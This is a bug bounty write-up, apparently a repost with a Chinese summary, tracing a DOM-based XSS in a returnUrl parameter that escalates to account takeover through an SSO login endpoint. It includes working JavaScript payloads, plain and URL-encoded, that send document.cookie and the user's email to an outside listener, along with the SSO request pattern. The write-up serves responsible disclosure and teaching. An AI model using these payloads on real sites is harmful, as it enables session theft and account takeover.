Reflected in the DOM, Escalated to Account Takeover
研究人员通过测试应用程序中的returnUrl参数发现DOM型XSS漏洞,利用该漏洞注入JavaScript代码,窃取Jwt令牌和用户邮箱,最终通过SSO机制实现跨系统账户接管,整个过程无需用户交互。 2025-10-14 13:15:22 Author: infosecwriteups.com(查看原文) 阅读量:95 收藏

0xP0L73R63157

I was casually browsing through the app while logged in, clicking around the interface to map out what was available. Nothing stood out at first. Just another portal with standard features, some client details, and a handful of functional pages.

But on one of those pages, a small URL parameter caught my attention. Something called returnUrl. It looked like it might be part of a redirect flow, so I gave it a quick test. I wasn’t expecting much. Just checking for a classic open redirect.

What I didn’t expect was for it to show up somewhere else entirely. That same parameter was reflected into the page and tied directly to a JavaScript action. Specifically, a back button.

That was the moment things shifted.

What looked like a simple navigation feature turned out to be something much more. One test led to script execution. And that was just the beginning.

1. The First Clue

While navigating through the application as an authenticated user, I opened a page that displayed details for a specific connection. Nothing unusual at first glance — just the typical set of fields and a clean layout. But then I noticed something in the URL.

A parameter named returnUrl was being passed alongside the connection ID. It looked like a standard part of the navigation flow, probably used to redirect users back to a previous page:

GET /connections/1234567890123?returnUrl=/home HTTP/1.1
Host: localhost:3000
Cookie: Jwt=eyJ1c2VySWQiOiI1NDkwIiwidG9rZW4iOiJhNWE2OTgxZS0xMjdkLTQ0ZjktOGMwNi03OTkyNGNiOTE2ZGUifQ%3D%3D

Out of habit, I tried to manipulate it to test for open redirects, but nothing happened. The page didn't behave any differently, and I moved on.

Still, something about that parameter stuck with me.

When I checked the response in Burp Suite, I spotted it again — this time inside the HTML. The value of returnUrl wasn't just sitting in the URL anymore. It was being reflected directly into the page. That changed everything:

Reflection without encoding is rarely accidental. And whenever user-controlled input makes it into a page’s output, I start paying a lot more attention.

It wasn’t a vulnerability yet, but it was definitely a lead. And leads like this often go somewhere.

2. Finding the DOM XSS

After noticing the returnUrl value reflected in the response, I wanted to know exactly where it ended up in the page. So I started digging through the HTML more closely. That’s when I found it — embedded inside a data-* attribute on a div, tied to a back button on the page.

That alone wouldn’t be a problem. But then I saw how the back button worked.

It used JavaScript to read the data-return-url attribute and set it as the destination when the button was clicked. In other words, the value I controlled was being passed directly into a JavaScript function without any validation or sanitization.

It had officially reached a sink.

At that point, I did what any bug bounty hunter would do — I injected javascript:alert(1) into the returnUrl parameter and reloaded the page.

Click the back button.

Press enter or click to view image in full size

Boom!!!

Alert box.

That one simple test confirmed it. This wasn’t just a harmless reflection. This was full DOM-based XSS, buried in a back button, inside an authenticated part of the application.

And I had control of it.

3. Escalating the Impact

At first, this felt like a fairly standard DOM XSS. Interesting, but nothing too serious on its own. The vulnerable returnUrl parameter allowed me to execute JavaScript, but I hadn’t yet found anything valuable to target.

Then I remembered something.

While exploring the application earlier, I had come across an SSO request format that looked like this:

GET /publicapi/LoginSSO/{EMAIL}/{TOKEN}/Dashboard

I didn’t pay much attention to it at the time, but now that I had a working XSS in hand, that memory came rushing back.

Alongside the usual session cookie, the application also set a cookie named Jwt. I decoded its value out of curiosity and found it contained a small JSON object. Inside were two fields that immediately stood out: a userId, and a token.

Press enter or click to view image in full size

That token looked familiar.

I went back through my Burp history to see where this token might have been used before. Sure enough, there it was; embedded directly into the same kind of SSO request I had spotted earlier. It was clear now: the token was used for authenticating between portals via SSO, and the only other requirement was the email address of the user.

The XSS alone was already impactful, but now I had a way to extract this token directly from a user’s browser and reuse it for authenticated access across systems.

To prove it, I crafted a payload that would grab the document.cookie and exfiltrate it to my listener. Here’s what I injected into the returnUrl parameter:

javascript:/*</script><svg/onload='+/"/+/onclick=1/+/[*/[]/+((new(Image)).src=("http://example.oastify.com/?c="+encodeURIComponent(document.cookie)))//'>

URL encoded this looks like:

javascript%3A%2F%2A%3C%2Fscript%3E%3Csvg%2Fonload%3D%27%2B%2F%22%2F%2B%2Fonclick%3D1%2F%2B%2F%5B%2A%2F%5B%5D%2F%2B%28%28new%28Image%29%29.src%3D%28%22http%3A%2F%2Fexample.oastify.com%2F%3Fc%3D%22%2BencodeURIComponent%28document.cookie%29%29%29%2F%2F%27%3E

When I clicked the back button on the vulnerable page, my payload executed as expected. Within seconds, my request bin received the full contents of document.cookie, including the full Jwt token, since it wasn’t marked as HttpOnly or Secure.

Press enter or click to view image in full size

At this point, I had almost everything I needed for the SSO request. I only needed the email address of the user.

As mentioned before, I found through Burp History that the email address of the user is reflected on the same page in a variable. This means that I can send this together with the cookies. I changed the payload slightly:

javascript:/*</script><svg/onload='+/"/+/onclick=1/+/[*/[]/+((new(Image)).src=("http://example.oastify.com/?c="+encodeURIComponent(document.cookie)+"&u="+encodeURIComponent(userId)))//'>

Again, URL encoded:

javascript%3A%2F%2A%3C%2Fscript%3E%3Csvg%2Fonload%3D%27%2B%2F%22%2F%2B%2Fonclick%3D1%2F%2B%2F%5B%2A%2F%5B%5D%2F%2B%28%28new%28Image%29%29.src%3D%28%22http%3A%2F%2Fexample.oastify.com%2F%3Fc%3D%22%2BencodeURIComponent%28document.cookie%29%2B%22%26u%3D%22%2BencodeURIComponent%28userId%29%29%29%2F%2F%27%3E

Now also the email of the user is received in Burp Collaborator together with the Jwt cookie that contains the token:

Press enter or click to view image in full size

4. Account Takeover

With a working DOM XSS and access to both the Jwt cookie and the user’s email address, I had everything I needed to try something more serious.

Earlier in my testing, I had come across a request pattern used by the application to switch between portals via SSO.

At the time, it didn’t seem important. But now, knowing that the Jwt cookie contained a user-specific token and that the email was exposed in a JavaScript variable on the same page, I decided to revisit it.

I decoded the Jwt cookie and pulled out the token:

a5a6981e-127d-44f9-8c06-79924cb916de

Then, I paired it with the email I had extracted ([email protected]) and crafted the following request:

Press enter or click to view image in full size

When I sent this request, the application responded by setting a new session cookie. Just like that, I was authenticated as the victim — no password, no interaction, no MFA.

This confirmed full account takeover.

What began as a client-side injection escalated into cross-portal access with no user interaction required. A single vulnerable parameter and a few exposed values were all it took to compromise an account completely.

5. Reporting

After confirming the account takeover, I stopped all further testing and documented the full vulnerability chain. I included each step, from the DOM-based XSS to the exposed Jwt token and how it could be used to authenticate as another user through the SSO mechanism.

I submitted the report immediately.

The response from the program was quick. The issue was acknowledged as valid, and after internal assessment, it was classified as critical due to the lack of user interaction required and the potential for complete account compromise across portals.

It was patched shortly after, and the impact was mitigated.


文章来源: https://infosecwriteups.com/reflected-in-the-dom-escalated-to-account-takeover-a378659779c0?source=rss----7b722bfd1b8d---4
如有侵权请联系:admin#unsafe.sh